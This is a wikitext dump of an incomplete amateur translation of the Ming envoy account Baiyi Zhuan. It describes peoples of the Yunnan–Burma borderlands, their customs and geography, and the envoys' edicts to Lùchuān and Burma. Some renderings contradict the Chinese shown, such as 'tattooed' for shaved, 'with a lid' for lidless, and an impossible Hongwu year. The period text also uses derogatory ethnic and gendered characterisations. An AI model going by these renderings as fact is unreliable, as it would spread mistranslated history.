|男子衣服多效胡服，或衣宽袖長衫，不识裙袴。其首皆髡，胫皆黥。不髡者殺之，不黥者眾叱笑，比之婦人。婦人髻绾於後，不谙脂粉，衣窄袖衫，皂統裙，白裹頭，白行缠，跣足。其俗賤婦人，貴男子，耕织徭役担负之類，雖老婦亦不得少休。嫁娶不分宗话，不重处女。年未笄，听與男子私，從至其家，男母为之濯足，留五六昼，遣歸母家，方通媒妁，置财礼娶之。凡生子，貴者浴於家，賤者浴於河，數日，授子於夫，仍服劳無倦。酋長妻數十，婢百余，不分妻妾，亦無鮅忌。男女浴於河，雖翁婦叔嫂，相向無耻。子弟有職名，則受父兄跪拜。父母亡，用婦祝尸，亲邻咸馈酒肉，聚年少环尸歌舞宴樂，婦人擊碓杵，自旦達宵，數日而後葬。其棺若馬槽，無蓋，置尸於中，抬往葬所，一人執刀持前导。及瘗，其生平所用器物，坏之於側而去。 |Many men's clothes mainly imitate non-Han clothing, or they wear wide-sleeved long gowns, not knowing skirts or trousers. Their heads are all tattooed, their shins are all tattooed. Untattooed heads would be killed, and untattooed legs would be laughed at and compared to women. Women tied their hair into a topknot at the back; they are not versed in cosmetics, and their clothes are narrow-sleeved garments [jackets] and a soap-style skirt. [Her] head is wrapped in white, her body is wrapped in white, and they go barefoot. Their custom is women, commoners, noblemen, must all undertake compulsory labour service and so on. Even old women must not rest a little. Marriage does not distinguish clan or language or virginity [of women]. Before even fifteen years, they are allowed private liaisons with men. She follows him to his home, and the man's mother washes her feet. She remains there for five or six days, [she] is then sent back to her mother's house. Then they communicate with a matchmaker and buy betrothal gifts to take her as a wife [for him]. Ordinarily with the birth of a child, a nobleman bathes in the home, while commoners bathe in the river. For a few days, she gives the child to her husband and continues to dress, toil, and work without tiring. The wives of a tribal chief number ten, his slave girls can surpass one hundred, there is no distinction between wife and concubine, also there is no '''Bìjì''' ('''鮅忌''').<ref>Unsure as to what this means. The first character is a type of fish and an extremely obsolete character not used anymore. It is a compound to something about jealousy, however I do not know what this compounded term relating to jealousy might be. Preliminary thought would be, the wives do not compete, or do not dread their hierearchy? </ref> Men and women bathe in the river, even old men, women, uncles, sister-in-laws [bathing] face to face have no shame. If a child has an office title, then they will be accepted, and the father and brothers will kneel and kowtow to him. When parents die, they use women to pray for the corpse. Relatives and neighbours all make an offering of wine and meat. They assemble young people around the corpse, singing and dancing, making merry. Women strike the pestle from dawn to night, and only after a few days, they bury the dead. The coffin seems like a horse trough, with a lid; they cover the corpse in the middle. They lift and carry the coffin to the burial place; one person holds a knife and leads the way. When the burial takes place, the objects the deceased had used during their life are broken beside the burial, and then people depart. |- |} ===Ethnic Groups and customs=== {| class="wikitable" style="text-align:center; width:80%;" |+ A list of ethnic groups encountered and their traditions and general customs. |- ! scope="col" | Original ! scope="col" | Translation |- |其俗，不祀先，不奉佛，亦無僧道。小百夷居其境之東北邊，或学阿昌，或学蒲蠻，或仿大百夷，其習俗不一。 |Their customs do not offer sacrifices [to ancestors], do not revere the Buddha. There are no Buddhists and Daoists [among them]. The Lesser One Hundred Barbarians reside on the northeast border, following Āchāng ('''阿昌''') customs, following Pú ('''蒲''') customs and some imitate the Greater One Hundred Barbarians. Their customs are not the same (uniform). |- |車里，亦谓小百夷，其俗刺额、黑齒、剪發，狀如頭陀。 |[The people of] '''Chē lǐ''' ('''車里''')<ref>'''Chē lǐ''' ('''車里''') refers to the Cheli Military and Civilian Pacification Commissioners Office. It was a Tai State that located at Jinghong City in modern day Xishuangbanna in Yunnan.</ref>, are also called Lesser One Hundred Barbarians. Their customs are tattooing foreheads, blackening teeth and cutting hair. Appearing as if like ascetic monks. |- |哈刺，男女黑真黑。男子以花布为套衣，亦有效百夷制者；婦人髻在後，项系雜色珠，以娑罗布披身上为衣，横系於腰为裙（娑罗布即中國木棉布，坚厚，或织以青红纹）。仍环黑藤數百围於腰上，行缠用青花布，赤脚（蒲蠻、阿昌，事見《雲南志》）。 |'''Hā cì''' ('''哈刺'''), men and women are [both] black, truly black. Men use printed cloth<ref>g</ref> for covering themselves, also which the One Hundred bararians effectively manufacture; married women have top knots behind [their head]. It is tied at the back of their neck with various pearls and beads. '''Suō luó''' ('''娑罗''')<ref>'''Sarong''' today, however this appears to be a complex term with many copyediting issues historically, Brahmin drapes, Suoluolong, eventually describing a type of silk-cottob robe made from plant materials.</ref> are draped around their bodies as clothes, horizontally it connected at the waist and lower back as a skirt. ('''Suō luóbù pī''' ('''娑罗布披''') namely is the Chinese Cotton Tree (Bombax Ceiba) cloth, strong and thick, possibly weaved as blue, red patterns.) Yet it encircles black rattan several hundred times, wrapped at the waist and lower back, it wraps around [their leg] to be used as a blue printed cloth [as they're] barefoot. ([Used amongst the] Pú mán (蒲蠻), āchāng (阿昌), shì jiàn (事見); [according to the] The Yunnan Gazeteer<ref>Written by Fan Chuo of the 9th century, also known as 蛮书 (Barbarian Document)</ref>.) |- |古刺，男女色甚黑。男子衣服装飾類哈刺，或用白布为套衣。婦人如罗罗狀（罗罗見《雲南志》）。 |'''Gǔ cì''' ('''古刺''') [people] are coloured extremely black. The men's clothes, decorations and adornments closely resembled the '''Hā cì''' ('''哈刺'''), and they use white cloth as [outer] covering garments. Married women resemble the '''Luó luó''' ('''罗罗''') [people]. ([For the] '''Luó luó''' ('''罗罗''') see The Yunnan Gazeteer.) |- |漂人，男女衣服皆類百夷。婦人以白布缠頭，衣露腹，以红藤缠之，娑罗布为裙，两接，上短下長，男女同耕。 |Pyu people<ref>This is the last time a document mentions the existence of Pyu people, namely. The Burmese stopped mentioning them by the 12th century, as did the Persians in the 10th century. Their retention of it suggests that absorption was slower and that the Burmese and Pyu were still distinct, according to the envoys.</ref>, [the] men and women's clothes all resemble the One Hundred Barbarians. Married women wear white cloth wrapped around their head, their clothes expose their stomach/ naval. By means of red rattan winding around them, the '''Suō luó''' ('''娑罗''') [is worn] as a skirt. Two [cloths] connect, upper [cloth] is short, bottom [cloth] is long. Men and women [both] till [the fields]. |- |緬人，色黑類哈刺，男女頭上以白布缠高三四尺，衣大袖白布衫，腰以下一布通前後便缠之，貴者布長二丈余，賤者不一丈。甚善水，嗜酒。其地有树，狀若棕，树之杪有如筍者八九茎，人以刀去其尖，缚瓢於上，過一宵則有酒一瓢，香而且甘，飲之輙醉。其酒经宿必酸，炼为烧酒，能飲者可一盏。有为僧者，以黄布为袈裟，袒右手，戒行極精，午後不飲食。婦人貌陋甚淫，夫少不在，則與他人私，遂为夫婦。以白布裹頭而披花为衣。 |Burmese people, [their] colour is black like the '''Hā cì''' ('''哈刺'''). Men and women [both] on their heads have white cloth wrapping around it [aproximately] as long as three to four '''Chǐ''' ('''尺''';1.2 m-1.36 m). Their clothes are large-sleeved white cloth garments. Below the waist and lower back, one cloth goes all around to be wrapped around them. Expensive cloth is as long as two '''zhàng''' ('''丈'''; 6.2m-6.8m). Inexpensive [cloth] is not even one '''zhàng''' ('''丈'''; 3.1m-3.4m). They are extremely well-disposed to water and fond of wine. On their land, their trees appear as palm trees. They cultivate eight to nine stalks, with the tips of the leaves resembling bamboo shoots. The people take knives and cut off the tips. They bind a dried gourd ladle to it. After one night, it becomes a gourd of wine, fragrant and sweet to drink to intoxication. Their wine, undergoing [another] night, certainly becomes bitter; it gets refined into '''Shāojiǔ''' ('''烧酒''')<ref>A famous Tang Dynasty wine beverage.</ref>. [Heavy] drinkers can only drink one small cup. There are monks. Yellow cloth is used as Kasaya robes (Buddhist robes) with the right arm remaining bare. They strictly adhere to the utmost discipline. They do not eat or drink in the afternoon. Women's appearances are excessively plain, and they are promiscuous. If husbands are away briefly, they enter into relations with other men and succeed as a married couple. White cloth is wrapped around their head and draped on their shoulders in a printed way. |- |哈杜，巢居山林，無衣服，不识农业，惟食草木禽兽，善骑射。冷則抱巨石，山坡間往復奔走，以汗出为度。 |'''Hā dù''' ('''哈杜''') [people] reside in nests in mountain forests; they do not wear clothes. They have no knowledge of agriculture. Only eating vegetation and birds and creatures. They are adept at horses and archery. [When] cold, they grab a boulder and make running trips back and forth between mountainsides until they perspire out to the temperature. |- |弩人，目稍深，貌尤黑，额颅及口邊刺十字十余。 |'''Nǔ''' people ('''弩人'''; crossbowman people), [have] deep-set eyes, [their] appearance is outstandingly dark. Their forehead and mouth edges are tattooed with crosses more than ten times. |- |有结些者，從耳尖連颊皮破，以象牙为大圈，横贯之，以花布裹頭，而垂余布於後，衣半身衫，而袒其肩。婦人未详。其人居戛璃者多。 |[There] is some knotted "Zo" people<ref>This translation is messy. However, it is the first use of the Zhexie/Jiexie term, which was popularised during the Qing era. However, this early, 些 Xie was actually Suo, like the Mosuo people. Hence, the name appears to be a misrendering of Zo people from an intermediary translator, possibly.</ref>, from the tips of the ears to the cheeks, the skin is pierced. Using ivory as a large ring, they pass it horizontally through [the pierced skin]. Printed cloth is wrapped around the head and hangs down onto their back as a partially wrapped robe and bears their shoulders. Nothing is known/reported concerning the women.<ref>Likely possibly meaning that the women are indistinguishable from men. An observation echoed by the British of the Zo people during the colonial era.</ref>. Many of these people habitat at '''Kalay'''. |- |諸夷言语習俗雖异，然由大百夷为君長，故各或效其所为。夷人有名不讳，無姓。 |Although the various barbarian languages and customs are different, they follow the Greater One Hundred Barbarians as their central ruler. Therefore, possibly each group imitates that they do. The Yi people have names but observe no naming taboos; they have no surnames. |- |無医卜等书。不知时节，惟望月之盈亏为候。有事惟鸡卜是决。疾病不知服药，以姜汁注鼻中。病甚，命巫祭鬼路側，病疟者多愈，病熱者多死。地多平川沃土，民一甸率有數十千户，眾置貿易所，谓之街子。婦人用锄地，事稼穑，地利不能尽，然多产牛、羊、鱼、果。 |There are no books on medicine and divination. They are unaware of seasons. Only the moon in its waxing and waning is observed. For matters, a chicken is used for divination. For diseases they do not know how to take medicine. They pour ginger juice into their noses. For extreme sickness, the shaman offers spirit sacrifices next to the road. Those suffering from malaria are likely to recover. Those with a fever are more likely to die. The land is flat with plains and fertile, the people of a district can lead up to ten thousand households. They install commercial trade posts known as ''street markets'' ('''街子'''; Jiē zǐ). Women hoe and weed the soil and [attend] matters to do with sowing and reaping. The productivity of land cannot be exhausted, as there are many ox, sheep, fish and fruits. |- |其气候：春夏雨，秋冬晴，腊月亦如春，昼暄夜冷，晓多烟雾，無霜，春秋烟瘴甚盛。 |Their climate: In spring and summer, it rains. In autumn and winter, it is clear. In the 12th Lunar month ('''December-Feburary''') it feels like spring. The daytime is warm, and the nighttime is cold. At dawn, there is a lot of fog. They have no frost. Spring and Autumn miasma carries an excessive level of malaria. |- |其飲食之异者：鳅、鳝、蛇、鼠、晴蜓、虫负、蛟、蝉、蝗、蚁、蛙、土蜂之類以为食；鱼肉等汁暨米汤信宿而生蛆者以为飲。 |Their food and drink are unusual in the following ways. Loach, eels, snakes, dragonflies, insects, aquatic animals, cicadas, locusts, ants, frogs, and scoliod wasps are all types of food. They drink the juice of fish, meat, and rice gruel, which, over two nights, gain maggots, which are eaten. |- |其草木禽兽之异：草則秋間數十百株结为一聚，地产此草，烟瘴尤甚。树木多有三四株结为連理。有大如斗之柑，有鲇頭鲤身之鱼，水牛頭黄牛身之牛，绵羊頭山羊身之羊。雄鸡多伏卵，亦有生卵者。者闌有一池，沸如汤，人多投肉熟之。 |Their plants and animals are unusual: in autumn, their grass joins from hundreds of stalks to cluster. The land these grasses grow on has an excessively strong malarial miasma. Trees often produce multiple stumps in a fusion. There are large tangerines as large as dippers. There is [a] fish with a sheatfish head and carp bodies. There are oxen with water buffalo heads and yellow ox bodies. There are sheep with sheep heads and mountain goat bodies. Roosters brood over eggs, there are also [males] that lay eggs. At '''Zhě lán''' ('''者闌''')<ref>On the Shan Myanmar and China border near Muse.</ref>, [the size of] ponds for boiling soup. People often cast mature meat in it. |- |境内所产珍物：雅琥、琥珀、犀、象、鹦鹉、孔雀、鳞蛇、脑、麝、阿魏、金、銀、玻璃之類。 |Within its borders are the following precious items it produces: elegant amber, amber, rhinoceros, elephant, parrots, peacocks, snake scales, brains, musk deer, Resina Furelae, gold, silver, glass types of products. |- |其山水险隘。北有高良弓山，横亘二百余里，高五十余里，與怒江相倚。西有馬安山，山有一关，若一人守关，萬夫难入。東为麓川江，可通舟楫。南與金沙江合而入於西海。南下交趾界。金沙江之南，有東胡、得冷、緬人三國。緬之西即西天也。 |The mountains have narrow, dangerous river passes. North there is the Gaoligong Mountains, it horizontally extends two hundred '''Lǐ''' ('''里'''), and is tall as five hundred '''Lǐ''' ('''里''') right next to the '''Nùjiāng''' ('''怒江'''). West is the '''Mǎ'ān Mountain''' ('''馬安山'''). The mountain has one mountain pass. If one person guards the pass, then ten thousand will struggle to enter. East is the '''Lù chuān River''' ('''麓川江'''). You can pass it in an oarboat. South is the '''Jīnshā River''' ('''金沙江''') which enters at the western sea. South it borders '''Jiāozhǐ''' ('''交趾'''; Vietnam). Further south of the '''Jīnshā River''' ('''金沙江''') are the three polities, which has '''Dōnghú''' ('''東胡'''； Eastern Barbarians), '''Dé lěng''' ('''得冷'''; Derung people) and '''Miǎn people''' ('''緬人'''; Burmese people). West of Burma lies the Western Regions<ref> A term for India and Central Asia, which were Buddhist.</ref>. |- |緬國古舍利國，又名狮子國，多佛塔。緬國與夷連歲横兵。洪武之亥冬，緬人诉於朝。丙子春，皇帝遣臣古训及桂阳李思聪至两國，諭以睦邻之义。 |Burma, formerly the '''Shèlì country''' ('''舍利'''), also known as the Lion Country, is filled with pagodas. Burma and the Yi Barbarians were in continuous warfare for years. During the reign of the Hongwu Emperor in the winter of the year of the boar ('''1395 A.D.'''), Burma issued a royal complaint. In Spring of the Year of the Rat, ('''1396 A.D.'''), the Emperor dispatched official Guxun and Li Cong of Guiyang to the two countries to order them to get on well as neighbours with righteousness. |- |} ===Statements and Relations between the Kingdoms=== {| class="wikitable" style="text-align:center; width:80%;" |+ Outcome of the envoys mission and political relations between Shans and Burmese. |- ! scope="col" | Original ! scope="col" | Translation |- |其諭緬國王曰： | |- |『里路险遠，山川阻修，风殊俗异，此乃天造地設也。尔能勤使者，涉险遠，越邻邦以至中夏，其使者之难，冲烟突雾，晨進昏止，饥餐渴飲，吞吐烟岚，异风霜而方至。其为使者，不亦难乎！古人有云：诚君子將有事於遠，友千里之外，神交而志通。今萬里之外，尔能勤使而至，遠修其好，美絕古而惟今。然排难解纷之事，朕之旨意，恨不一言而正，使彼此各罢兵守，樂黎民於市野，民居共处，砃相邻而同井飲，籍雖两國之民，居处难分，惟存关市有讥，是其和也。若尔緬不主衅，夷不强凌，如此，雖弱自保，以奉天道。其或不听朕命，忿争不已，天將昭鉴，福善祸淫，迟速可待。鯩至，朕不多诫。但诚可以交天人，尔其审之，母忘朕諭。』 | |- |諭思侖發曰： | |- |『朕中國先古圣人，驭顽礼德，各有条章。是条章也，列圣相继，守而行之，上下相安，黔黎樂业。何也？諸侯敬畏，世禄子孙，國祚绵長，乃九伐之功驗也。列國敢有凭弱犯寡者，天子發兵以眚之；贼贤害民者，亦發兵以伐之；暴内凌外，則兴師以坛之；野荒民散，則用兵以削之；负固不服，則舉兵以侵之；贼殺其亲，則正其罪以殺之；放弑其君，則明其罪以诛之；犯令凌政，則杜而絕之；内外乱，鸟兽行，則殄灭之。九伐之征如是也。尔思侖發，以中國较之，合问凭弱犯寡之由。何以見？歲以兵寇車里，不时侵掠八百，恃强犯緬；戛璃國小民寡，而已平之，斯说也，不過告诫之词。中國周临四夷，與諸酋長地里相接，居民亦相密迩，如此者，耳闻之邦若干，目擊之邦若干，朕未嘗恃强凭凌，絕灭其嗣者。雲南之地，已为我有，似乎尚强以取之，非也！乃元世子孙梁王者，恃元之苗裔，匿我有罪，納我逋逃，诱我邊守，是乃不得已而發问罪之師，非無故而兴師。此乃元运天更，其苗裔不当安处。况生事於我邻邦，其理势使然，夷如反掌。尔麓川之蠢，初擅兴金齒之役，次谋景東而寇定邊，理当大發精兵而较胜负。朕释而不较，未嘗强尔为約束之邦，听尔自为声教，今又几年矣。近闻蚕食邻邦，意在扩土地而擅有其眾，又將为我西南之役。噫，未可！古中國圣人有云：‘山川地理人物之類，乃神器也，非人强有，必天授然後得之’。尔思侖發不修邻邦之好，三面發兵，蚕食諸國，其贪也如是，其谋也如是。彼麓川周临之國，始古至今，各有主者，未嘗吞并。朕雖不能止尔，听尔自为，果天道使然，尔以人事应之，或为而可。噫！以朕戒尔守全則可，不守全而以全动，設若全亏，是为全亡，莫如守全以圖绵長，不亦美乎？』 | |- |由是二國罢兵和好。 | |- |时古训等适遇百夷其部下酋長曰刀干孟者叛其國，余等以大义諭其部眾，而叛者闻之稍却。於是，思侖發欲留余等以为援，且進以金寶象馬等物，故余以书示之曰： | |- |『吾闻君上有怀遠之德，遠臣有敬上之心，始古迄今，莫违此义。夫君居九重之上，雖欲顷刻目尔遠臣，未可得也，臣处萬里之外，即欲朝暮身亲君上，亦未易得也。故朝廷有將命之官，使之宣德布威；而遠方有承命之宜，期其輸忠納款。今天子应天顺民，奉天为治，四维八極，尽为臣妾，無有专擅，不敢违逆。西南一区，夷酋亦眾，惟尔麓川，多蒙恩宠，既受以官，復加以服。况贤王亲临尔境，而德惠數及尔身。为尔计，則將度其心，量其才，何为而可以尽忠天子，何为而可以致敬贤王，又何为而可以安邊境而不干天怒，又何为而可以教百姓而不违法度？借曰邊境不安，必思曰，我事上未忠或未至，而眾不服我耶？百姓违法，必思曰，我守職已或有僭而民亦犯上耶？於是我則尽其忠，去其僭，如此，則邊境自安，人民從教矣。且吾以尔目擊效驗明之：往年思瓦發不服朝廷，轻犯金齒，天子雖未问罪，天則假手於達鲁方等，而思瓦發被戮。刀思朗不從尔命，窃寇定邊，尔雖未能息其兵，天則助威於我邊將，而刀思朗等即灭。惟尔知天命，達人理，故能享天禄，守人爵。迩来天子恐尔所为，或涉放肆，特敕諭以戒之；贤王恐尔無知，或生疑懼，特令旨以恤之。此恩此德，穷天極地。尔之披肝露胆，开心見诚，吾尽見矣；尔之尊重朝廷，敬奉殿下，告亦見矣。今尔固留吾辈，其意本美。近者尔甸寨少宁，刀干谋异，吾將回朝为尔明白其事，尔乃留我，使我不速還朝，假如刀干鸣尔留难天使之非於朝，則反误尔敬君之心矣。且尔赠以金、銀、裀褥、馬、象等物，吾固不受者，非見怪也，實相爱也。何則？朝廷恩尔，抚安尔邦，未嘗令使者取货於尔也。夫货财，饥不可以充口，疾不可以救死。况中國金玉成山，象馬若蚁，未以为寶也，惟所寶者，圣君、明王、忠臣、烈士、强兵、勇將、孝子、顺孙等事，其他财物，如粪土耳。姑以尔境内眾所闻者明之：昔隋史萬歲守邊，夷而贪财，以致殺身。梁毗一金不受，而大服夷眾。此事甚白。吾为圣朝天使，必不为财物所蛊，惟恐吾之使令往来小人，不体吾意，蛊惑尔心，特此叮咛。尔其备审此书，体吾真意，早送吾辈還朝，則尔敬君之心，不浅浅也。』 | |- |书至，思侖發悦服，遂邀至其家，設宴畢，與其眾送出境外。 | |- |百夷，由金齒、蒲漂過怒江即其境。沿江東數十里，上有高良弓頗险。其岭有一寨。過一寨下四十里，地名养列，自此抵麓川無险隘之虞。由麓川经蠻牛、莽港等路，渡谨卯，從蒙戛等甸至麻林界，登金沙江之舟，下流二十日至緬國。國王眾呼为卜剌浪，王之妻呼为米泼剌。 | |- |} ==References== {{reflist}} [[Category:Chinese literature]] [[Category:Non-fiction books]] [[Category:Medieval historical works]] [[Category:Works originally in Chinese]] [[Category:Pages with foreign language text]] [[Category:Indigenous peoples]] [[Category:Guidebooks]] [[Category:History of China]] [[Category:Wars]] [[Category:Diplomacy of China]] [[Category:Subject:Military history]] [[zh:蛮书]] ltfxvsg61ozics9u73gwgsr525vlnzm 4670812 4670783 2026-09-18T01:52:26Z Taitesena 3485636 4670812 wikitext text/x-wiki __NOTOC__ {{incomplete translation}} {{Translation header | title = Baiyi Zhuan (百夷傳) | author = Qian Guxun (錢古訓) | override_editor = | translator = 'Taitesena' | section = | previous = | next = | shortcut = | year = | language = zh | original = | notes = The Baiyizhuan, or, '''Biography of 100 Barbarians''', was compiled by Qian Guxun (錢古訓) with Li Sicong (李思聪) and sent to the Ming Dynasty but never formally published yet stored away. Copies emerged under both names however, most agree that both envoys wrote their own accounts of Myanmar to control the issue of Shan Kings on the borders. This version is attributed to Qian Guxun and sourced from Wikisource. }} == Front Matter == # [[Baiyi Zhuan/Translator's Note|Translator's Note]] # [[Baiyi Zhuan/Influences|Historical Context]] ==Translation== ===Introduction=== {| class="wikitable" style="text-align:center; width:80%;" |+ Premable to the purpose and context of the document and political situation. |- ! scope="col" | Original ! scope="col" | Translation |- |百夷，在雲南西南數千里，其地方萬里。景東在其東，西天古刺在其西，八百媳婦在其南，吐番在其北；東南則車里，西南則緬國，東北則哀牢〈（今之金齒衛也）〉，西北則西番、回紇。 |[The] One Hundred Barbarians are a few thosand '''Lǐ''' ('''里''') southwest of Yunnan. There region is very far away. '''Jǐngdōng''' ('''景東''') is east of them. The western regions Gǔ cì (古刺) [people] are west of them. South of them are the '''Eight Hundred Xífù''' ('''八百媳婦'''; Laos). North of them is Tibet. Southeast of them is Chē lǐ (車里), southwest is Burma, Northeast is '''Āiláo''' ('''哀牢''')<ref>The ancient tribal confederation of the Yongchang-Gaoligong area.</ref> Today, these are the gold tooth people. Northwest of them is Western Barbarians and '''Huíhé''' ('''回紇'''; Uyghur people). |- |俗有大百夷、小百夷、漂人、古剌、哈剌、緬人、结些、吟杜、弩人、蒲蠻、阿昌等名，故曰百夷。 |The customs of Greater One Hundred Barbarians, the Lesser One Hundred Barbarians, Pyu people, Gǔ cì (古刺) [people], Hā cì (哈刺) [people], Burmese people, '''jiēsuò''' （'''结些''')<ref>There is reason to believe that these may be the Zo people. The Jie however is difficult to understand, likely a terminology transfer issue from intermediaries. Like the Mosuo people, I suggest this to be read as Jie Suo. If so, this would be the earliest mention of Zo terminology since Vincent Sangermono.</ref>, '''Yíndù'''（'''吟杜''')<ref>These are only mentioned once in the document. Whether it's a mix-up with Hadu, or referring to Indians, is unknown.</ref>, Nǔ people (弩人; crossbowman people), Pú (蒲) and Āchāng (阿昌), among others, can be spoken of as the One Hundred Barbarians. |- |漢以前未嘗通中國，諸葛亮征蠻，亦抵怒江而止。唐天寶中，夷人始随爨歸王入朝。其眾各有部領，不相統屬。 |Before the Han dynasty, they had no contact with China.<ref>The main exception may be the Ailao people.</ref> '''Zhūgé liàng''' ('''諸葛亮''') went on an expedition against the barbarians, where he stopped right up against the '''Nùjiāng River''' ('''怒江'''). During the Tianbao Era of the Tang Dynasty, the barbarians began to follow the '''Cuàn''' ('''爨''') and '''Guī''' ('''歸''') clan leaders.<ref>The '''Cuàn''' ('''爨''') eventually founded the Kingdom of Nanzhao, which ruled powerfully in the region, competing with Tibet and Tang China.</ref> The people had their own leaders and were not unified. |- |元憲宗三年，世祖由吐番入麗江，自葉榆平至雲南〈（葉榆即大理也）〉。明年，命將兀良哈臺征降夷地。遂分为路二十、府四、甸四十有四、部二十有六、各設土官，置金齒都元帥府領之。有所督，委官入其地，交春即還，避瘴气也。 |In Emperor Xianzong's 3rd year in the Yuan Dynasty, Emperor Shìzǔ (世祖; Kublai Khan) entered '''Lìjiāng''' ('''麗江''') from Tibet and himself in '''Yèyú''' ('''葉榆'''; Present Day Dali) brought peace to Yunnan. The following year, [he] commanded General UriyangKhadai to pacify the barbarian lands. The region was transformed into twenty circuits, four prefectures, forty-four districts and twenty-six departments, each with indigenous officials overseen by the Gold Teeth Commander in Chief.<ref>A Tai Shan Leader likely.</ref> Officials were appointed to administer certain lands, returning by spring to avoid malarial miasma. |- |至正戊子，麓川土官思可發數侵扰各路，元帥搭失把都討之，不克。思可發益吞并諸路，而遣其子滿散入朝，以輸情款。雖奉正朔，納職貢，而服用制度，擬於王者。思可發死，子昭併發立。八年，傳其子臺扁。踰年，臺扁從父昭肖發殺之而自立，期年，盗殺昭肖發，眾立其弟思瓦發。 |In the the 8th year of the Zhizheng era ('''1348 AD''') Lùchuān (麓川) indigenous chief '''Sī kě fā''' ('''思可發'''; Hsö Hkan Hpa) had been countlessly harassing and invading every road. The Commander-in-Chief '''Dāshībǎ''' （'''搭失把'''） sent armed forces to the capital but was unable to. '''Sī kě fā''' ('''思可發'''; Hsö Hkan Hpa) annexed further circuits and dispatched his son '''Mǎnsàn''' ('''滿散''') to the imperial court to offer terms of service. Although they accepted tribute and the official calendar of the Ming dynasty, their clothes and administration resembled that of a monarchy. '''Sī kě fā''' ('''思可發'''; Hsö Hkan Hpa) died, his son Zhāo bìngfā ('''昭併發'''; Hsö Pem Hpa) was established. Eight years later it passed to '''Táibiǎn''' ('''臺扁'''; Hsö Siu Hpa). A year later, '''Táibiǎn's''' ('''臺扁'''; Hsö Siu Hpa) uncle '''Zhāo xiàofā''' ('''昭肖發'''; , Hsö Kap Hpa) killed him himself and seized power. A year later, bandits killed '''Zhāo xiàofā''' ('''昭肖發'''; Hsö Kap Hpa) and established his younger brother '''Sīwǎfā''' ('''思瓦發'''; Hso Vau Hpa) [as ruler]. |- |國朝洪武辛酉，平雲南。明年，思瓦發寇金齒。是冬，思瓦發略于者闌、南甸。其屬達鲁方等輙立滿散之子思侖發，而殺思瓦發於外。即譴使貢白象、犀、馬、方物於朝。廷議不忍絕以化外，乃命福建左參政王鈍率雲南部校郭京美等，諭以向背利害，約以每歲貢獻之率，而遂内附。於是授思侖發为麓川平緬軍民宣慰。丙寅，復寇景東。明年，部屬刁思朗犯定邊，天子命西平侯沐英總兵敗之，獲刁思朗，夷人懼服。上以遠人不加約束，故官稱制度皆從其俗。 |In the current dynasty, in the 58th year (Xinyou) of the Hongwu Emperor ('''1381 A.D.'''), Yunnan was pacified. The next year, '''Sīwǎfā''' ('''思瓦發'''; Hsö Vau Hpa) plundered the Gold Teeth barbarians. That winter, '''Sīwǎfā''' ('''思瓦發'''; Hsö Vau Hpa) captured the territory of '''Zhělán''' ('''者闌''') and '''Nándiàn''' ('''南甸'''). His subordinate '''Dálǔfāng''' （'''達鲁方'''）placed '''Mǎnsàn's''' ('''滿散''') son, '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) as ruler and killed '''Sīwǎfā''' ('''思瓦發'''; Hsö Vau Hpa) when outside. The offered tribute included white elephants, rhinoceroses, horses and other local products. The palace could not bear to cut ties with outside spheres of influence and commanded the Fujian Left Vice Official '''Wáng Dùn''' ('''王鈍''') to lead in the checking of the city walls of Yunnan, order discussions of pros and cons of allegience, discuss the annual tribute rate and secured their submission. He conferred '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) as the Burma Pacification Commissioner. In the third year ('''1386 A.D.'''), he returned to invade '''Jǐngdōng''' ('''景東'''). The next year, his subordinate '''Diāosīlǎng''' ('''刁思朗''') invaded '''Dìngbiān''' ('''定邊'''). The Emperor ordered Marquis of '''Xīpíng''' ('''西平''') '''Mù yīng''' ('''沐英''') to lead an army to defeat him where he caught '''Diāosīlǎng''' ('''刁思朗'''). The barbarians became fearful and submitted. In order not to restrict those far-away peoples, the official system and administration were all in their customs. |- |其下稱思侖發曰『昭』，猶中國稱君主也。所居麓川之地曰者闌，猶中國稱京師也。其屬則置『叨孟』以總統政事，兼領軍民。『昭錄』領萬餘人，『昭綱』領千餘人，『昭伯』領百人；領一伍者为『昭哈斯』，領一什者为『昭准』；皆屬於『叨孟』。又有『昭錄令』，遇有征调，亦與『叨孟』統軍以行。其近侍呼为『立者』，閽寺呼为『割斷』。大小各有分地，任其徭賦。 |'''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) is called '''Zhāo''' ('''昭'''), like how China uses "Lord". '''Lùchuān's''' ('''麓川''') [ruler's] dwelling place is called '''Zhělán''' ('''者闌'''), like how China uses the term "Capital". Their subordinates are known as '''Dāomèng''' ('''叨孟'''), who generally handled political affairs while simultaneously leading the military and civilians. '''Zhāolù''' ('''昭錄''') led over ten thousand households, '''Zhāogāng''' ('''昭綱)''' led over a thousand households, '''Zhāobó''' ('''昭伯''') led a hundred households. Those who led five soldiers were known as '''Zhāohāsī''' ('''昭哈斯'''), those who led ten soldiers were known as '''Zhāozhǔn''' ('''昭准'''). Each [of these] were part of the '''Dāomèng''' ('''叨孟'''). There is also '''Zhāolùlìng''' ('''昭錄令''') who also happen to carry out conscription for the '''Dāomèng''' ('''叨孟''') to gather an army to lead. Their attendants were known as '''Lìzhě'''（'''立者'''). Doorkeepers of Buddhist temples were called '''Gēduàn''' ('''割斷'''). Big or small each had distributed land appointed and endowed to them as compulsory servicefor corvee and taxes. |- 